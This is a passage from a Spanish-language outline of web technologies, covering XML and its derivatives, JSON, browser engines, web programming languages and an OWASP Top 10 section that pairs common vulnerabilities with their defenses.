│   └── APIs: Geolocation, Storage, Workers, WebSockets, Notifications, WebRTC...
│
├── XML y DERIVACIONES
│   ├── XML: metalenguaje extensible, jerárquico, transporta datos (W3C, 1998)
│   ├── DTD: validación (sintaxis propia, limitada)
│   ├── XSD/XML Schema: validación potente, escrita en XML, tipos de datos
│   ├── XPath: selección de nodos en documentos XML
│   ├── XSLT: transformación XML → HTML/XML/texto
│   ├── XQuery: consulta de datos XML (equivale a SQL)
│   └── Derivados: XHTML, SVG, SOAP/WSDL, RSS/Atom, KML, XAML, ODF, OOXML, EPUB, SAML...
│
├── JSON (no XML pero clave): RFC 8259, ECMA-404, más usado que XML en APIs REST
│
├── NAVEGADORES
│   ├── Chrome/Edge/Opera/Samsung → Motor Blink, Motor V8 (~70% cuota)
│   ├── Safari → Motor WebKit, JavaScriptCore (~19%)
│   ├── Firefox → Motor Gecko, SpiderMonkey (~3%)
│   ├── Critical Rendering Path: DNS→TCP→HTTP→Parse HTML→DOM→CSSOM→JS→Layout→Paint→Composite
│   └── Same-Origin Policy + CORS para seguridad entre dominios
│
├── LENGUAJES DE PROGRAMACIÓN WEB
│   ├── JavaScript/ECMAScript (ECMA-262) — cliente y servidor (Node.js)
│   ├── TypeScript: superset JS con tipado estático (Microsoft)
│   ├── PHP: ~77% servidores web, Laravel, Symfony
│   ├── Python: Django, Flask, FastAPI — también IA/ML
│   ├── Java: Spring Boot, Jakarta EE — entornos empresariales
│   ├── C#/ASP.NET Core — ecosistema Microsoft
│   ├── Ruby on Rails: DRY, CoC
│   └── WebAssembly: rendimiento nativo en navegador (C/C++/Rust compilados)
│
└── SEGURIDAD (OWASP Top 10)
    ├── SQL Injection → Prepared Statements
    ├── XSS → htmlspecialchars, CSP
    ├── CSRF → tokens, SameSite cookies
    ├── Broken Access Control → autorización correcta
    ├── JWT: autenticación stateless (Header.Payload.Signature en Base64URL)
    ├── OAuth 2.0 + OpenID Connect: autorización/autenticación delegada
    └── HTTPS + TLS + Headers de seguridad